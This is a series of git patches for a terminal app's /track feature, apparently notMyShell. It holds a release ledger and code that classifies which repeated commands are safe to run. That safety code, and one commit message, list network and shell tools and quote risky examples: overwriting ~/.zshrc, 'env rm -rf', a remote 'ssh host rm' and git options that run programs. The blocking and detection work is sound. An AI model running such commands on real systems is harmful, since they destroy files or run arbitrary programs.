`README.md` palette tables (8d723bac) | MIT | Copyright (c) 2023 Steph Ango | | Night Owl | github.com/sdras/night-owl-vscode-theme `themes/Night Owl-color-theme.json`, `Night Owl-Light-color-theme.json` (cc291eba) | MIT | Copyright (c) 2018 Sarah Drasner | From 53ecbf4e26b4a11e815704c45743f8a9b9791205 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Sun, 18 Oct 2026 15:10:28 +0530 Subject: [PATCH 017/157] /track: a transcript without trackers skips the per-line live-row lookup Refs #393 --- src/output/OutputBuffer.ts | 5 +++-- src/output/TranscriptPresenter.ts | 4 ++-- 2 files changed, 5 insertions(+), 4 deletions(-) diff --git a/src/output/OutputBuffer.ts b/src/output/OutputBuffer.ts index beca8f74..0b42aabf 100644 --- a/src/output/OutputBuffer.ts +++ b/src/output/OutputBuffer.ts @@ -629,10 +629,11 @@ export class OutputBuffer { firstRun: this.firstRun, ownerOf: this.blockOwnership(), foldHighlights: record => this.foldHighlightsFor(record), - liveRows: (line, width) => { + // Only a transcript with /track blocks pays for the per-line lookup. + ...(this.trackAnchors.size ? {liveRows: (line: number, width: number) => { const id = this.trackAnchors.get(line); return id === undefined ? undefined : this.liveRowsProvider?.(id, width); - }, + }} : {}), semantic: record => { const result = this.semanticFor(record); return result ? {result, open: this.semanticDetailsOpen(record, result)} : undefined; diff --git a/src/output/TranscriptPresenter.ts b/src/output/TranscriptPresenter.ts index cac7b8ca..e607b181 100644 --- a/src/output/TranscriptPresenter.ts +++ b/src/output/TranscriptPresenter.ts @@ -144,7 +144,7 @@ export class TranscriptPresenter { } rows(view: TranscriptView, width: number): WrappedRow[] { - const {lines, completed, active, visualGaps, historicalContexts, welcome, firstRun, ownerOf} = view; + const {lines, completed, active, visualGaps, historicalContexts, welcome, firstRun, ownerOf, liveRows} = view; const column = this.layout === 'chat' ? chatColumn(width) : undefined; // A chat command block is right-aligned as a whole: its widest wrapped row sets the left edge. const blockWidths = new Map(); @@ -288,7 +288,7 @@ export class TranscriptPresenter { result.push(row); } // A /track block's live result, under its stored line (derived: never stored, searched, selected or copied). - for (const ansi of view.liveRows?.(i, width) ?? []) result.push({ansi: truncateAnsi(ansi, width), plain: stripAnsi(truncateAnsi(ansi, width)), lineIndex: i, derived: true}); + if (liveRows) for (const ansi of liveRows(i, width) ?? []) result.push({ansi: truncateAnsi(ansi, width), plain: stripAnsi(truncateAnsi(ansi, width)), lineIndex: i, derived: true}); } if (active) { for (const activity of active.activities) { From f4174e92539f2aceef76cdc322e96c4396c1adb5 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Sun, 18 Oct 2026 15:12:09 +0530 Subject: [PATCH 018/157] v0.21 ledger: stacked PRs, integration verification, performance and release readiness Refs #410 --- docs/development/v021-ledger.md | 54 ++++++++++++++++++++++++++++----- 1 file changed, 46 insertions(+), 8 deletions(-) diff --git a/docs/development/v021-ledger.md b/docs/development/v021-ledger.md index 4cedd383..cab2f93a 100644 --- a/docs/development/v021-ledger.md +++ b/docs/development/v021-ledger.md @@ -14,14 +14,15 @@ Automated results here are not physical-terminal validation. | # | Slice | Issues | Branch / PR | Merged commit | State | | --- | --- | --- | --- | --- | --- | -| 0 | Design and ledger | #410 | `docs/v021-design` / #411 | | PR open, CI green; awaiting merge | -| 1 | Reliability gates | #403, #408, #388 | `fix/v021-reliability` (stacked on #411) | | PR open | -| 2 | `/view` | #397, #402 | `feature/v021-view` (stacked on slice 1) | | PR open | -| 3 | `/edit` | #402 | `feature/v021-edit` (stacked on slice 2) | | PR open | -| 4 | Semantic Output | #386 | `feature/v021-semantic` (stacked on slice 3) | | PR open | -| 5 | `/track` | #393 (#394) | `feature/v021-track` (stacked on slice 4) | | PR open | -| 6 | Modules and diagnostics | #364, #365 | `feature/v021-modules` (stacked on slice 5) | | PR open | -| 7 | Themes and controls | #401, #336 | `feature/v021-themes` (stacked on slice 6) | | PR open | +| 0 | Design and ledger | #410 | `docs/v021-design` / [#411](https://github.com/raiseCatError/notMyShell/pull/411) → `dev` | | PR open, CI green | +| 1 | Reliability gates | #403, #408, #388 | `fix/v021-reliability` / [#412](https://github.com/raiseCatError/notMyShell/pull/412) → #411 | | PR open, CI green | +| 2 | `/view` | #397, #402 | `feature/v021-view` / [#413](https://github.com/raiseCatError/notMyShell/pull/413) → #412 | | PR open, CI green | +| 3 | `/edit` | #402 | `feature/v021-edit` / [#414](https://github.com/raiseCatError/notMyShell/pull/414) → #413 | | PR open, CI green | +| 4 | Semantic Output | #386 | `feature/v021-semantic` / [#415](https://github.com/raiseCatError/notMyShell/pull/415) → #414 | | PR open, CI green (one rerun) | +| 5 | `/track` | #393 (#394) | `feature/v021-track` / [#416](https://github.com/raiseCatError/notMyShell/pull/416) → #415 | | PR open | +| 6 | Modules and diagnostics | #364, #365 | `feature/v021-modules` / [#417](https://github.com/raiseCatError/notMyShell/pull/417) → #416 | | PR open | +| 7 | Themes and controls | #401, #336 | `feature/v021-themes` / [#418](https://github.com/raiseCatError/notMyShell/pull/418) → #417 | | PR open | +| 8 | Checkpoint (this ledger) | #410 | `docs/v021-checkpoint` → #418 | | PR open | ## Decisions @@ -60,3 +61,40 @@ toggle, copy flags, Off). Slice 5: section 5 (`/track` block, refresh, copy, sto - Merging into `dev` needs the maintainer (the agent's merge was refused by its permission policy). Slices are stacked PRs; merge them in order, each squashed. - #388: programs that position rows absolutely inline (rare) still append; recorded in the design. +- Nothing in v0.21 has had a physical-terminal pass yet. Every slice issue stays open until its pass is recorded. +- Two CI flakes outside v0.21's changes were seen once each (below); neither reproduced on rerun. + +## Integration verification (stack head, 2026-10-18) + +Run on `feature/v021-themes` (all eight slices) in a T7 worktree, `NMSH_TEST_TMPDIR=/Volumes/T7Tmp/ai-dev`. + +- `npm run verify:release`: 3,118 tests, 3,115 pass, 2 skipped, 1 fail. The failure, + `nativeCaptureLifecycle` "native cancellation reaps a PTY before it can process the initialization command", timed + out waiting for the inner shell under full-suite load; the file passes 3 of 3 alone. v0.21 does not touch native + capture. +- `npm run typecheck:bench` passes; `npm run bench:smoke` passes (see "Performance" below). +- CI on each stacked PR (Ubuntu and macOS shards, Node 22 compatibility, Quality): green for #411–#415 at the time of + writing; #416–#418 re-run after the live-row change below. Flakes seen once: #415's Ubuntu shard hit the 10-minute + job limit with output stalled in `tests/shellFrameworks.test.ts` (an orphaned Fish process); #417's macOS shard + failed `tests/backgroundSession.test.ts:92` (task removal timing). Both passed on rerun and are in code v0.21 does + not change; each is worth its own issue. + +## Performance + +- `npm run bench:smoke` at the stack head (`8bb85d5e`) passed every budget: pty-ready p50 23 ms, service-ready p50 + 233 ms, cold context collection p50 48 ms, every-module render p50 39 ms, configured completion warm p50 10 ms, + `transcript/wrap-present-10000` p50 48 ms, `transcript/wrap-present-100000` p50 467 ms. +- `transcript/wrap-present-100000` is noisy on this 8 GB Mac: a `dev` baseline worktree measured p50 501–606 ms + across runs, and earlier stack runs 484–1,161 ms with the slow ones not repeating. No consistent regression was + found. The one per-row cost v0.21 adds, the `/track` live-row lookup, is now skipped entirely when the transcript + has no trackers (#416). +- Bounded by design and covered by tests: `/view` layout per line (a 1 MB single line no longer takes 17 s), file + loads (8 MiB / 200,000 lines), `/edit` (1 MiB), Semantic Output recognizers (linear, 2 MiB scanned, 20 items), + `/track` samples (200 kB, 12 live rows, at most 8 trackers). + +## Release readiness + +Ready for the maintainer's decision, not for release. Before a v0.21 tag: merge #411→#418 in order (then this +checkpoint), let `dev` CI pass, run the [physical QA](../testing/v021-physical-qa.md) passes and record them, then +close the slice issues whose passes succeed. Tagging, the GitHub release, the Homebrew tap and the website deploy +stay with the maintainer. From f458099cd41a9366845c7a1123f0f1ce103f1a90 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Sun, 18 Oct 2026 15:26:03 +0530 Subject: [PATCH 019/157] v0.21 ledger: final CI state and a third flake seen once Refs #410 --- docs/development/v021-ledger.md | 21 +++++++++++---------- 1 file changed, 11 insertions(+), 10 deletions(-) diff --git a/docs/development/v021-ledger.md b/docs/development/v021-ledger.md index cab2f93a..e182f66b 100644 --- a/docs/development/v021-ledger.md +++ b/docs/development/v021-ledger.md @@ -19,10 +19,10 @@ Automated results here are not physical-terminal validation. | 2 | `/view` | #397, #402 | `feature/v021-view` / [#413](https://github.com/raiseCatError/notMyShell/pull/413) → #412 | | PR open, CI green | | 3 | `/edit` | #402 | `feature/v021-edit` / [#414](https://github.com/raiseCatError/notMyShell/pull/414) → #413 | | PR open, CI green | | 4 | Semantic Output | #386 | `feature/v021-semantic` / [#415](https://github.com/raiseCatError/notMyShell/pull/415) → #414 | | PR open, CI green (one rerun) | -| 5 | `/track` | #393 (#394) | `feature/v021-track` / [#416](https://github.com/raiseCatError/notMyShell/pull/416) → #415 | | PR open | -| 6 | Modules and diagnostics | #364, #365 | `feature/v021-modules` / [#417](https://github.com/raiseCatError/notMyShell/pull/417) → #416 | | PR open | -| 7 | Themes and controls | #401, #336 | `feature/v021-themes` / [#418](https://github.com/raiseCatError/notMyShell/pull/418) → #417 | | PR open | -| 8 | Checkpoint (this ledger) | #410 | `docs/v021-checkpoint` → #418 | | PR open | +| 5 | `/track` | #393 (#394) | `feature/v021-track` / [#416](https://github.com/raiseCatError/notMyShell/pull/416) → #415 | | PR open, CI green | +| 6 | Modules and diagnostics | #364, #365 | `feature/v021-modules` / [#417](https://github.com/raiseCatError/notMyShell/pull/417) → #416 | | PR open, CI green (one rerun) | +| 7 | Themes and controls | #401, #336 | `feature/v021-themes` / [#418](https://github.com/raiseCatError/notMyShell/pull/418) → #417 | | PR open, CI green | +| 8 | Checkpoint (this ledger) | #410 | `docs/v021-checkpoint` → #418 | | PR open, CI green | ## Decisions @@ -62,7 +62,7 @@ toggle, copy flags, Off). Slice 5: section 5 (`/track` block, refresh, copy, sto stacked PRs; merge them in order, each squashed. - #388: programs that position rows absolutely inline (rare) still append; recorded in the design. - Nothing in v0.21 has had a physical-terminal pass yet. Every slice issue stays open until its pass is recorded. -- Two CI flakes outside v0.21's changes were seen once each (below); neither reproduced on rerun. +- Three CI flakes outside v0.21's changes were seen once each (below); none reproduced on rerun. ## Integration verification (stack head, 2026-10-18) @@ -73,11 +73,12 @@ Run on `feature/v021-themes` (all eight slices) in a T7 worktree, `NMSH_TEST_TMP out waiting for the inner shell under full-suite load; the file passes 3 of 3 alone. v0.21 does not touch native capture. - `npm run typecheck:bench` passes; `npm run bench:smoke` passes (see "Performance" below). -- CI on each stacked PR (Ubuntu and macOS shards, Node 22 compatibility, Quality): green for #411–#415 at the time of - writing; #416–#418 re-run after the live-row change below. Flakes seen once: #415's Ubuntu shard hit the 10-minute - job limit with output stalled in `tests/shellFrameworks.test.ts` (an orphaned Fish process); #417's macOS shard - failed `tests/backgroundSession.test.ts:92` (task removal timing). Both passed on rerun and are in code v0.21 does - not change; each is worth its own issue. +- CI on each stacked PR (Ubuntu and macOS shards, Node 22 compatibility, Quality): green on #411–#419 at their current + heads. Flakes seen once each, all in code v0.21 does not change and all passing on rerun: #415's Ubuntu shard hit + the 10-minute job limit with output stalled in `tests/shellFrameworks.test.ts` (an orphaned Fish process); #417's + macOS shard failed `tests/backgroundSession.test.ts:92` (task removal timing); #417's Ubuntu shard failed + `tests/configuredCompletion.test.ts:89` (the helper's private root still present just after a startup timeout). + Each is worth its own issue. ## Performance From b420e67d9f681b44f65c4fd19847c0aa98fe16ce Mon Sep 17 00:00:00 2001 From: J Date: Sun, 18 Oct 2026 16:09:21 +0530 Subject: [PATCH 020/157] fix(track): signal refresh start to live presenter --- src/tasks/WatchTasks.ts | 3 +++ 1 file changed, 3 insertions(+) diff --git a/src/tasks/WatchTasks.ts b/src/tasks/WatchTasks.ts index 0512aa0c..f0568a70 100644 --- a/src/tasks/WatchTasks.ts +++ b/src/tasks/WatchTasks.ts @@ -205,6 +205,9 @@ export class WatchTasks { return true; } this.children.set(id, child); + // Notify the presenter when a refresh begins, not only when it completes: + // a slow sample must be shown as refreshing while its previous result stays visible. + this.emit(watch); const take = (decoder: StringDecoder, chunk: Buffer) => { const kept = Math.min(chunk.length, Math.max(0, MAX_OUTPUT - receivedBytes)); if (kept) { receivedBytes += kept; output += decoder.write(chunk.subarray(0, kept)); } From 6832fec5ebe4d2e829e822d5b5edd993a3f2ae23 Mon Sep 17 00:00:00 2001 From: J Date: Sun, 18 Oct 2026 16:09:25 +0530 Subject: [PATCH 021/157] fix(track): release stopped tracker presentation state --- src/app/TerminalApp.ts | 3 +++ 1 file changed, 3 insertions(+) diff --git a/src/app/TerminalApp.ts b/src/app/TerminalApp.ts index 0ca8fe6c..2564a507 100644 --- a/src/app/TerminalApp.ts +++ b/src/app/TerminalApp.ts @@ -8694,6 +8694,9 @@ export class TerminalApp { if (block && watch.status === 'stopped' && !block.finalized) { block.finalized = true; this.output.addFrontendBlock(`/track ${watch.command}`, finalResultRows(watch)); + // The anchored transcript row can render its stopped state directly from the task. + // The mutable per-tracker height bookkeeping is no longer needed after finalization. + this.trackBlocks.delete(watch.id); } this.render(); }); From 419748739ff47e509ffb8810153ff491000ceb7c Mon Sep 17 00:00:00 2001 From: J Date: Sun, 18 Oct 2026 16:09:27 +0530 Subject: [PATCH 022/157] test(track): assert finalizer releases presentation state --- tests/trackApp.test.ts | 1 + 1 file changed, 1 insertion(+) diff --git a/tests/trackApp.test.ts b/tests/trackApp.test.ts index c3834deb..ebcce954 100644 --- a/tests/trackApp.test.ts +++ b/tests/trackApp.test.ts @@ -45,6 +45,7 @@ test('/track in the app: one block whose live result refreshes in place; /track const text = stored(app).join('\n'); assert.match(text, /Stopped · last result \d\d:\d\d:\d\d · exit 0 · \d+ runs?\n\s*two/u); assert.equal(text.split('Stopped · last result').length, 2, 'written once'); + assert.equal(app['trackBlocks'].size, 0, 'a stopped tracker releases its live height bookkeeping'); assert.match(live(app)[0] ?? '', /^■ stopped/u, 'the live rows end with the stopped state'); app['handleWatch']('/watch ls', 'start', 'ls', false); From ed16fa154047a045c982b2c280f437785d484a76 Mon Sep 17 00:00:00 2001 From: J Date: Sun, 18 Oct 2026 16:09:53 +0530 Subject: [PATCH 023/157] test(track): verify refreshing state notifies presenter immediately --- tests/track.test.ts | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) diff --git a/tests/track.test.ts b/tests/track.test.ts index fb8e3115..6402cadf 100644 --- a/tests/track.test.ts +++ b/tests/track.test.ts @@ -103,6 +103,27 @@ test('/track reuses one current and previous snapshot, does not overlap manual r } }); +test('/track emits a live refresh-start event before the sample completes', async () => { + const cwd = mkdtempSync(join(tmpdir(), 'nmsh-track-refresh-')); + const engine = new WatchTasks('/bin/sh'); + try { + const task = engine.start('sleep 0.2; printf "ready\\n"', cwd, 5000, + {kind: 'allowed', network: false, remote: false}); + await waitFor(() => task.runs === 1); + let notifiedWhileSampling = false; + const unsubscribe = engine.onChange(changed => { + if (changed.id === task.id && engine.sampling(task.id)) notifiedWhileSampling = true; + }); + assert.equal(engine.runNow(task.id), true); + assert.equal(notifiedWhileSampling, true, 'presenter is notified during refresh'); + await waitFor(() => task.runs === 2); + unsubscribe(); + } finally { + engine.dispose(); + rmSync(cwd, {recursive: true, force: true}); + } +}); + test('/track strips terminal control sequences from the displayed snapshot', async () => { const cwd = mkdtempSync(join(tmpdir(), 'nmsh-track-controls-')); const engine = new WatchTasks('/bin/sh'); From 4d76bacdd58790372f1487b2bf4c6d6ecae80ae7 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Sun, 18 Oct 2026 16:41:32 +0530 Subject: [PATCH 024/157] /track: a stricter gate for repeated commands; every redirect judged on its own target MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Review of #416/#420 found commands that /track (and /watch) started at once and repeated every interval without asking: - `echo x > ~/.zshrc 2>/dev/null`: the shared classifier excused every redirect in a command once `>/dev/null` appeared anywhere; `>|` was split as a pipe. Paste review labelled the same text read-only. - `env rm -rf …`: `env` is read-only on its own but runs its operand. - Anything classified network: `npm publish`, `npm login`, `npm audit fix`, `npm x`/`pnpm dlx`/`bun x`, `ssh host rm …`, `scp`, `rsync`, `curl -X POST`, `curl -o file`, plain `wget`. - `git -c core.fsmonitor=… status`, `GIT_EXTERNAL_DIFF=… git diff`, `--ext-diff` (run arbitrary programs) and `git log --output=…` (writes files). pasteGuard now judges each redirection's target (descriptor duplication and the null/standard-stream devices are not files) and treats `>|` as a redirection. repeatSafety.ts adds the repetition gate on top of the classifier: network commands start at once only as read-only probes; env prefixes, wrappers and git program options ask first; file-writing options, --fix/--write/snapshot updates, --watch modes, scp/rsync and power control are refused. `2>&1` is no longer mistaken for a background job. Network targets are remote unless they are this computer. Refs #393, #416, #420 --- src/input/pasteGuard.ts | 28 +++++- src/tasks/WatchTasks.ts | 23 +++-- src/tasks/repeatSafety.ts | 189 ++++++++++++++++++++++++++++++++++++++ tests/trackSafety.test.ts | 66 +++++++++++++ 4 files changed, 296 insertions(+), 10 deletions(-) create mode 100644 src/tasks/repeatSafety.ts create mode 100644 tests/trackSafety.test.ts diff --git a/src/input/pasteGuard.ts b/src/input/pasteGuard.ts index 7242b3c2..fe23cd4a 100644 --- a/src/input/pasteGuard.ts +++ b/src/input/pasteGuard.ts @@ -53,6 +53,8 @@ export function splitCommands(text: string): Array<{text: string; pipedFrom: boo if (char === '\n' || char === ';') { push(false); continue; } if (char === '&' && next === '&') { push(false); index += 1; continue; } if (char === '|' && next === '|') { push(false); index += 1; continue; } + // `>|` is a redirection (overwrite despite noclobber), not a pipe. + if (char === '|' && current.endsWith('>')) { current += char; continue; } if (char === '|') { push(true); continue; } current += char; } @@ -62,7 +64,31 @@ export function splitCommands(text: string): Array<{text: string; pipedFrom: boo const INTERPRETERS = /^(?:sh|bash|zsh|fish|dash|ksh|python3?|node|perl|ruby|eval|source|\.)$/u; +/** Shell text with quoted strings and escaped characters masked, so operators inside them are not read as operators. */ +export function maskQuoted(text: string): string { + return text.replace(/\\[\s\S]|"(?:\\.|[^"\\])*"|'[^']*'/gu, match => match.startsWith('\\') ? '__' : '""'); +} + +/** + * Whether shell text redirects output into a file. Every redirection is judged on its own target, so `>/dev/null` + * elsewhere in the line never excuses `> ~/.zshrc`. Descriptor duplication (`2>&1`), closing (`>&-`), the null device + * and the standard streams are not files; `>|`, `>&file`, `&>file` and `<>` (opens for writing) are. + */ +export function writesFiles(text: string): boolean { + for (const match of maskQuoted(text).matchAll(/(&>>?|\d*>>|\d*>\||\d*<>|\d*>&|\d*>)\s*([^\s;&|<>()]*)/gu)) { + const operator = match[1] ?? ''; + const target = match[2] ?? ''; + if (operator.endsWith('<>')) return true; + if (operator.endsWith('>&') && /^(?:\d+|-)$/u.test(target)) continue; + if (/^\/dev\/(?:null|stdout|stderr|fd\/[12])$/u.test(target)) continue; + return true; + } + return false; +} + /** Words of one command (quotes removed for classification only). */ +export function commandWords(text: string): string[] { return words(text); } + function words(text: string): string[] { return text.match(/"(?:\\.|[^"])*"|'[^']*'|\S+/gu)?.map(word => word.replace(/^["']|["']$/gu, '')) ?? []; } @@ -196,7 +222,7 @@ function shellKinds(text: string, pipedFrom: boolean): PasteKind[] { if (/^(?:mv|cp|mkdir|touch|ln|tee|sed|perl|install|chmod|chown|patch|unzip|tar)$/u.test(command) && !kinds.has('destructive')) { if (command !== 'sed' || /-i\b|--in-place/u.test(flags)) { kinds.delete('read'); kinds.add('modifies'); } } - if (/(?:^|[^>&])>>?\s*[^\s&|]/u.test(text.replace(/"(?:\\.|[^"])*"|'[^']*'/gu, '""')) && !/>\s*\/dev\/null/u.test(text)) kinds.add('modifies'); + if (writesFiles(text)) kinds.add('modifies'); if (!kinds.size) kinds.add('unknown'); return [...kinds]; } diff --git a/src/tasks/WatchTasks.ts b/src/tasks/WatchTasks.ts index f0568a70..0f5617f7 100644 --- a/src/tasks/WatchTasks.ts +++ b/src/tasks/WatchTasks.ts @@ -1,6 +1,7 @@ import {spawn, type ChildProcess} from 'node:child_process'; import {StringDecoder} from 'node:string_decoder'; -import {classifyCommand, splitCommands, type PasteKind} from '../input/pasteGuard.js'; +import {classifyCommand, maskQuoted, splitCommands, writesFiles, type PasteKind} from '../input/pasteGuard.js'; +import {reachesRemote, repeatRisk} from './repeatSafety.js'; import {stripTerminalControls} from '../util/terminalControls.js'; /** @@ -36,32 +37,36 @@ export function watchSafety(command: string): WatchSafety { if (/\$\(|`|[<>]\(/u.test(command)) { return {kind: 'refused', reason: 'Shell and process substitutions cannot be tracked repeatedly.'}; } - const outsideQuotes = command.replace(/"(?:\\.|[^"\\])*"|'[^']*'/gu, '""'); - // Detached shell jobs would outlive the observed sample and multiply on every - // tick; heredocs also need a different stdin/input-ownership contract. - if (/(?:^|[^&])&(?!&)|<&1`) and `&>` are not background operators. + if (/(?:^|[^&<>])&(?![&>])|< REFUSED.has(kind)); - if (bad) return {kind: 'refused', reason: `/watch won't repeatedly run a command that ${bad === 'navigation' ? 'changes directory' : bad === 'install' ? 'installs packages' : bad === 'privilege' ? 'runs as root' : bad === 'pipeline' ? 'runs downloaded code' : bad === 'destructive' ? 'deletes or destroys things' : 'modifies files'} (${part.text}).`}; + if (bad) return {kind: 'refused', reason: `NMSh won't repeatedly run a command that ${bad === 'navigation' ? 'changes directory' : bad === 'install' ? 'installs packages' : bad === 'privilege' ? 'runs as root' : bad === 'pipeline' ? 'runs downloaded code' : bad === 'destructive' ? 'deletes or destroys things' : 'modifies files'} (${part.text}).`}; + // Repetition has its own, stricter gate (repeatSafety.ts): a refusal there ends it; a doubt asks first. + const risk = repeatRisk(part.text, kinds); + if (risk?.kind === 'refused') return {kind: 'refused', reason: `NMSh won't repeatedly run a command that ${risk.reason}.`}; + if (risk) { unknown = true; reason ??= risk.reason; } if (kinds.includes('network')) { network = true; - const target = /https?:\/\/([^/:\s]+)/u.exec(part.text)?.[1] ?? /\s([\w.-]+\.[a-z]{2,})(?:\s|$)/iu.exec(part.text)?.[1]; - if (target && !/^(?:localhost|127\.0\.0\.1|0\.0\.0\.0|\[?::1\]?)$/u.test(target)) remote = true; + if (reachesRemote(part.text, kinds)) remote = true; } // Allow only Docker's explicit read-only disk report. Other Docker verbs (including // 'system prune') still require confirmation, or are refused by the classifier. const dockerDiskReport = /^docker\s+system\s+df(?:\s+(?:-v|--verbose))?\s*$/u.test(part.text); if ((kinds.includes('unknown') || kinds.includes('project') || kinds.includes('text')) && !dockerDiskReport && !TEST_RUNNERS.test(part.text) && !/^git\s+(?:status|log|diff|branch|remote|show)\b/u.test(part.text)) unknown = true; } - return unknown ? {kind: 'confirm', reason: 'NMSh can\'t tell whether this command changes anything; it will run every interval.', network, remote} : {kind: 'allowed', network, remote}; + return unknown ? {kind: 'confirm', reason: `${reason ?? 'NMSh can\'t tell whether this command changes anything.'} It will run every interval.`, network, remote} : {kind: 'allowed', network, remote}; } /** Parse a finite interval strictly. Invalid cadence never falls through as shell text. */ diff --git a/src/tasks/repeatSafety.ts b/src/tasks/repeatSafety.ts new file mode 100644 index 00000000..865818c6 --- /dev/null +++ b/src/tasks/repeatSafety.ts @@ -0,0 +1,189 @@ +import {commandWords, type PasteKind} from '../input/pasteGuard.js'; + +/** + * /track and /watch run a command again and again with nobody reading each run. The shared classifier says what a + * command is; this is the stricter gate for repeating it: whether it may start at once, needs an explicit Yes, or is + * never repeated. When it cannot tell, it asks rather than allows. Network commands start at once only when they are + * read-only probes (ping, dig, `nc -z`, a curl GET or a wget to standard output); everything that sends data, saves + * files, signs in, publishes or runs another command asks first. + */ +export type RepeatRisk = {kind: 'refused' | 'confirm'; reason: string}; + +const LOOPBACK = /^(?:localhost|localhost\.localdomain|ip6-localhost|127(?:\.\d{1,3}){3}|::1|0\.0\.0\.0)$/u; +const PROBES = new Set(['ping', 'ping6', 'dig', 'nslookup', 'host', 'traceroute', 'traceroute6', 'mtr']); +const NETCAT = new Set(['nc', 'ncat', 'netcat']); +const REMOTE_SESSIONS = new Set(['ssh', 'sftp', 'telnet', 'ftp', 'mosh']); +const HTTP_CLIENTS = new Set(['http', 'https', 'xh', 'httpie']); +const PACKAGE_MANAGERS = new Set(['npm', 'pnpm', 'yarn', 'bun']); +const PACKAGE_QUERIES = new Set(['view', 'info', 'show', 'search', 'outdated', 'fund', 'audit']); +const POWER = /^(?:shutdown|reboot|halt|poweroff)$/u; +const POWER_VERBS = /^(?:reboot|poweroff|halt|suspend|hibernate|hybrid-sleep|kexec|soft-reboot)$/u; +/** curl short options that take a value (the rest of the cluster, or the next word). */ +const CURL_VALUE = new Set([...'oDcKXdFTHwAmueEbrxYyzCPUQt']); +/** wget short options that take a value. */ +const WGET_VALUE = new Set([...'OoaPtTweiBUQlARDIX']); +const ASSIGNMENT = /^[A-Za-z_]\w*=/u; + +const refused = (reason: string): RepeatRisk => ({kind: 'refused', reason}); +const confirm = (reason: string): RepeatRisk => ({kind: 'confirm', reason}); +const standardStream = (value: string | undefined) => value === '-' || value === '/dev/null' || value === '/dev/stdout'; +const cluster = (arg: string) => /^-[A-Za-z0-9]+$/u.test(arg) ? arg.slice(1) : ''; + +/** The command's name and arguments, after any leading `NAME=value` assignments. */ +function parts(text: string): {assignments: string[]; name: string; args: string[]} { + const all = commandWords(text); + let index = 0; + while (ASSIGNMENT.test(all[index] ?? '')) index += 1; + const [command = '', ...args] = all.slice(index); + return {assignments: all.slice(0, index), name: command.split('/').pop() ?? command, args}; +} + +/** What repeating one command (one part of a command line) would risk beyond what the classifier already refuses. */ +export function repeatRisk(text: string, kinds: readonly PasteKind[]): RepeatRisk | undefined { + const {assignments, name, args} = parts(text); + if (POWER.test(name) || (/^(?:systemctl|loginctl|launchctl)$/u.test(name) && args.some(arg => POWER_VERBS.test(arg))) || (name === 'init' && /^[06]$/u.test(args[0] ?? ''))) { + return refused(`shuts down or restarts the computer (${text})`); + } + const writes = writesThroughOptions(name, args, text); + if (writes) return refused(writes); + if (args.some(arg => /^--watch(?:All)?(?:=true)?$/u.test(arg))) return refused(`runs until it is stopped (${text}); /track repeats a command that finishes`); + if (assignments.length) return confirm(`It sets ${assignments.map(word => `${word.split('=')[0]}=…`).join(' ')} for the command, which can change what it runs.`); + if (name === 'env') { + const inner = envCommand(args); + if (inner) return confirm(`It runs another command (env … ${inner}).`); + } + if (name === 'git') return gitRisk(args, kinds); + if (PROBES.has(name)) return undefined; + if (NETCAT.has(name)) return args.some(arg => cluster(arg).includes('z')) ? undefined : confirm('It opens a network connection every interval.'); + if (name === 'curl') return curlRisk(args); + if (name === 'wget') return wgetRisk(args); + if (REMOTE_SESSIONS.has(name)) return confirm('It connects to another computer every interval.'); + if (HTTP_CLIENTS.has(name)) return confirm('It sends HTTP requests that may change data.'); + if (PACKAGE_MANAGERS.has(name) && kinds.includes('network')) { + const sub = args.find(arg => !arg.startsWith('-')) ?? ''; + if (PACKAGE_QUERIES.has(sub) && !(sub === 'audit' && args.some(arg => arg === 'fix' || arg === '--fix'))) return undefined; + return confirm(`It publishes, signs in, changes packages or downloads and runs one (${name} ${sub}).`); + } + if (kinds.includes('network') && !/^(?:npx|pnpx|bunx)$/u.test(name)) return confirm('It contacts the network every interval and NMSh can\'t tell what it sends.'); + return undefined; +} + +/** Options that make an otherwise read-only command write files, delete them or update what it checks. */ +function writesThroughOptions(name: string, args: readonly string[], text: string): string | undefined { + const has = (pattern: RegExp) => args.some(arg => pattern.test(arg)); + if (name === 'git' && has(/^--output(?:=|$)/u)) return `writes files (${text})`; + if (name === 'sort' && (has(/^--output(?:=|$)/u) || args.some(arg => cluster(arg).includes('o')))) return `writes files (${text})`; + if (name === 'find' && has(/^-(?:fprint0?|fprintf|fls|delete|exec|execdir|ok|okdir)$/u)) return `writes, deletes or runs things (${text})`; + if (name === 'tree' && has(/^-o$/u)) return `writes files (${text})`; + if (name === 'yq' && has(/^(?:-i|--inplace)$/u)) return `modifies files (${text})`; + if (name === 'scp') return `copies files (${text})`; + if (name === 'rsync' && !(has(/^--(?:dry-run|list-only)$/u) || args.some(arg => cluster(arg).includes('n')))) return `copies files (${text})`; + if (has(/^(?:--fix|--write|--update|--update-?snapshots?|--updateSnapshot|--snapshot-update)(?:=.*)?$/u)) return `rewrites files (${text})`; + if (args.includes('-u') && /\b(?:jest|vitest)\b|^(?:npm|pnpm|yarn|bun)\s+(?:run\s+)?test\b/u.test(text)) return `updates snapshots (${text})`; + return undefined; +} + +/** The command `env` would run, if any (options and assignments alone only print the environment). */ +function envCommand(args: readonly string[]): string | undefined { + for (let at = 0; at < args.length; at += 1) { + const arg = args[at]!; + if (arg === '--') return args[at + 1]; + if (/^-[uC]$/u.test(arg)) { at += 1; continue; } + if (/^-\w*S|^--split-string/u.test(arg)) return arg; + if (arg.startsWith('-') || ASSIGNMENT.test(arg)) continue; + return arg; + } + return undefined; +} + +function gitRisk(args: readonly string[], kinds: readonly PasteKind[]): RepeatRisk | undefined { + // Global options come before the subcommand; `-c` there sets configuration (which can name programs to run). + for (let at = 0; at < args.length; at += 1) { + const arg = args[at]!; + if (!arg.startsWith('-')) break; + if (arg === '-c' || /^--(?:config-env|exec-path)(?:=|$)/u.test(arg)) return confirm('It sets git options that can run other programs.'); + if (arg === '-C') at += 1; + } + if (args.includes('--ext-diff')) return confirm('It runs an external diff program.'); + if (kinds.includes('network') && args.find(arg => !arg.startsWith('-')) === 'fetch') return confirm('It fetches from a remote and updates its branches every interval.'); + return undefined; +} + +function curlRisk(args: readonly string[]): RepeatRisk | undefined { + for (let at = 0; at < args.length; at += 1) { + const arg = args[at]!; + const scheme = 